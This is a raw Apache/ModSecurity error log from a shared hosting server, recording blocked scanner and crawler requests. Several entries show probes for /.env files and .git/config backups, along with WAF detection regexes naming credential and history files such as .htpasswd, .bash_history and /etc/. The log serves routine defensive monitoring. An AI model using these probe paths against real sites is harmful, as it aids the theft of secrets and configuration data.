https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:20:56.422933 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.22:40186] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:56.423195 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.22:40186] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:56.469779 2026] [security2:error] [pid 646876:tid 646881] [remote 17.241.219.240:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 240.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z6NyTkdrNlD40tSHCZQAASQI"] [Sat Jun 13 18:20:56.576411 2026] [security2:error] [pid 648189:tid 648465] [client 143.244.57.82:57592] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "ai3z6FWSojQL4F7upKCJSAAAAO8"] [Sat Jun 13 18:20:56.844192 2026] [security2:error] [pid 648189:tid 648261] [remote 17.241.75.198:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z6FWSojQL4F7upKCJUAAAwic"] [Sat Jun 13 18:20:56.878591 2026] [security2:error] [pid 648189:tid 648466] [client 185.177.72.9:21082] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(wp-)?config\\\\.(php\\\\.)?(?:bac?k|o(?:ld|rig)|copy|s(?:ave|wp)|vim?\\\\.|~)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1254"] [id "390597"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup config file (disable this rule if you require access to these backup files)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.git/config.bak"] [unique_id "ai3z6FWSojQL4F7upKCJUQAAAPA"] [Sat Jun 13 18:20:56.968111 2026] [access_compat:error] [pid 646876:tid 646938] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:20:56.968555 2026] [access_compat:error] [pid 646876:tid 646938] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:20:57.014410 2026] [security2:error] [pid 648189:tid 648414] [client 185.177.72.9:21082] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(wp-)?config\\\\.(php\\\\.)?(?:bac?k|o(?:ld|rig)|copy|s(?:ave|wp)|vim?\\\\.|~)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1254"] [id "390597"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup config file (disable this rule if you require access to these backup files)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.git/config.old"] [unique_id "ai3z6VWSojQL4F7upKCJVwAAAME"] [Sat Jun 13 18:20:57.079767 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.66:56110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:57.080026 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.66:56110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:57.148169 2026] [security2:error] [pid 648189:tid 648407] [client 185.177.72.9:21082] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.git/config~"] [unique_id "ai3z6VWSojQL4F7upKCJWQAAALo"] [Sat Jun 13 18:20:57.220168 2026] [security2:error] [pid 648189:tid 648448] [client 143.244.57.82:57602] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ai3z6VWSojQL4F7upKCJWgAAAOI"] [Sat Jun 13 18:20:57.447166 2026] [access_compat:error] [pid 648189:tid 648269] [remote 57.141.14.84:45188] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:57.447492 2026] [access_compat:error] [pid 648189:tid 648269] [remote 57.141.14.84:45188] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:57.466142 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:57.466411 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:57.736937 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.40:43392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:57.737373 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.40:43392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:57.823942 2026] [security2:error] [pid 648189:tid 648436] [client 143.244.57.82:57604] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ai3z6VWSojQL4F7upKCJaQAAANc"] [Sat Jun 13 18:20:57.840269 2026] [security2:error] [pid 646876:tid 647132] [client 34.123.82.129:5442] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "industrialplasticmd.com"] [uri "/.env"] [unique_id "ai3z6dyTkdrNlD40tSHChQAAAHw"] [Sat Jun 13 18:20:57.864387 2026] [security2:error] [pid 648189:tid 648484] [client 34.123.82.129:5452] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "industrialplasticmd.geyserjz.com"] [uri "/.env"] [unique_id "ai3z6VWSojQL4F7upKCJawAAAQI"] [Sat Jun 13 18:20:57.876385 2026] [security2:error] [pid 646876:tid 646948] [remote 17.241.75.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z6dyTkdrNlD40tSHChwAAa0U"] [Sat Jun 13 18:20:57.967290 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.103:58810] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:57.967769 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.103:58810] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:57.976924 2026] [security2:error] [pid 648189:tid 648428] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vsprintf_variation13_64bit.phpt"] [unique_id "ai3z6VWSojQL4F7upKCJbgAAAM8"] [Sat Jun 13 18:20:58.001150 2026] [access_compat:error] [pid 646876:tid 646893] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:20:58.001601 2026] [access_compat:error] [pid 646876:tid 646893] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:20:58.068769 2026] [security2:error] [pid 648189:tid 648397] [client 192.178.6.39:62041] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.6.178.192.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3z6lWSojQL4F7upKCJcgAAALE"] [Sat Jun 13 18:20:58.088706 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.27:25928] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:58.089072 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.27:25928] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:58.397446 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.108:48089] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:58.397733 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.108:48089] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:58.428713 2026] [security2:error] [pid 646876:tid 647089] [client 143.244.57.82:57618] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ai3z6tyTkdrNlD40tSHClgAAAFE"] [Sat Jun 13 18:20:58.493740 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9wb3dlcg== [Sat Jun 13 18:20:58.494020 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9wb3dlcg== [Sat Jun 13 18:20:58.599392 2026] [security2:error] [pid 648189:tid 648272] [remote 47.128.124.197:32388] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "coscharis-tech.com"] [uri "/product-tag/printer/"] [unique_id "ai3z6lWSojQL4F7upKCJgwAA0jI"] [Sat Jun 13 18:20:58.699923 2026] [security2:error] [pid 648189:tid 648432] [client 204.12.208.18:59778] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.208.12.204.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.sopritti.net"] [uri "/wp-includes/admin.php"] [unique_id "ai3z6lWSojQL4F7upKCJhgAAANM"], referer: https://mail.sopritti.net/wp-includes/admin.php [Sat Jun 13 18:20:59.005586 2026] [security2:error] [pid 648189:tid 648302] [remote 17.22.245.172:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 172.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z61WSojQL4F7upKCJkAAA-FA"] [Sat Jun 13 18:20:59.036723 2026] [security2:error] [pid 648189:tid 648455] [client 143.244.57.82:57626] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ai3z61WSojQL4F7upKCJkQAAAOk"] [Sat Jun 13 18:20:59.041770 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL3Bvd2Vy [Sat Jun 13 18:20:59.042111 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL3Bvd2Vy [Sat Jun 13 18:20:59.127078 2026] [access_compat:error] [pid 646876:tid 646892] [remote 57.141.14.89:62468] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:59.127419 2026] [access_compat:error] [pid 646876:tid 646892] [remote 57.141.14.89:62468] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:59.132868 2026] [access_compat:error] [pid 648189:tid 648242] [remote 216.73.216.223:14345] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:59.133317 2026] [access_compat:error] [pid 648189:tid 648242] [remote 216.73.216.223:14345] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:59.303037 2026] [security2:error] [pid 648189:tid 648281] [remote 17.22.245.160:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 160.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z61WSojQL4F7upKCJmQAAkDs"] [Sat Jun 13 18:20:59.427848 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.52:54008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:59.428133 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.52:54008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:59.430567 2026] [security2:error] [pid 648189:tid 648417] [client 185.177.72.9:21082] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3z61WSojQL4F7upKCJnAAAAMQ"] [Sat Jun 13 18:20:59.533694 2026] [security2:error] [pid 646876:tid 646928] [remote 17.241.227.192:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 192.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id 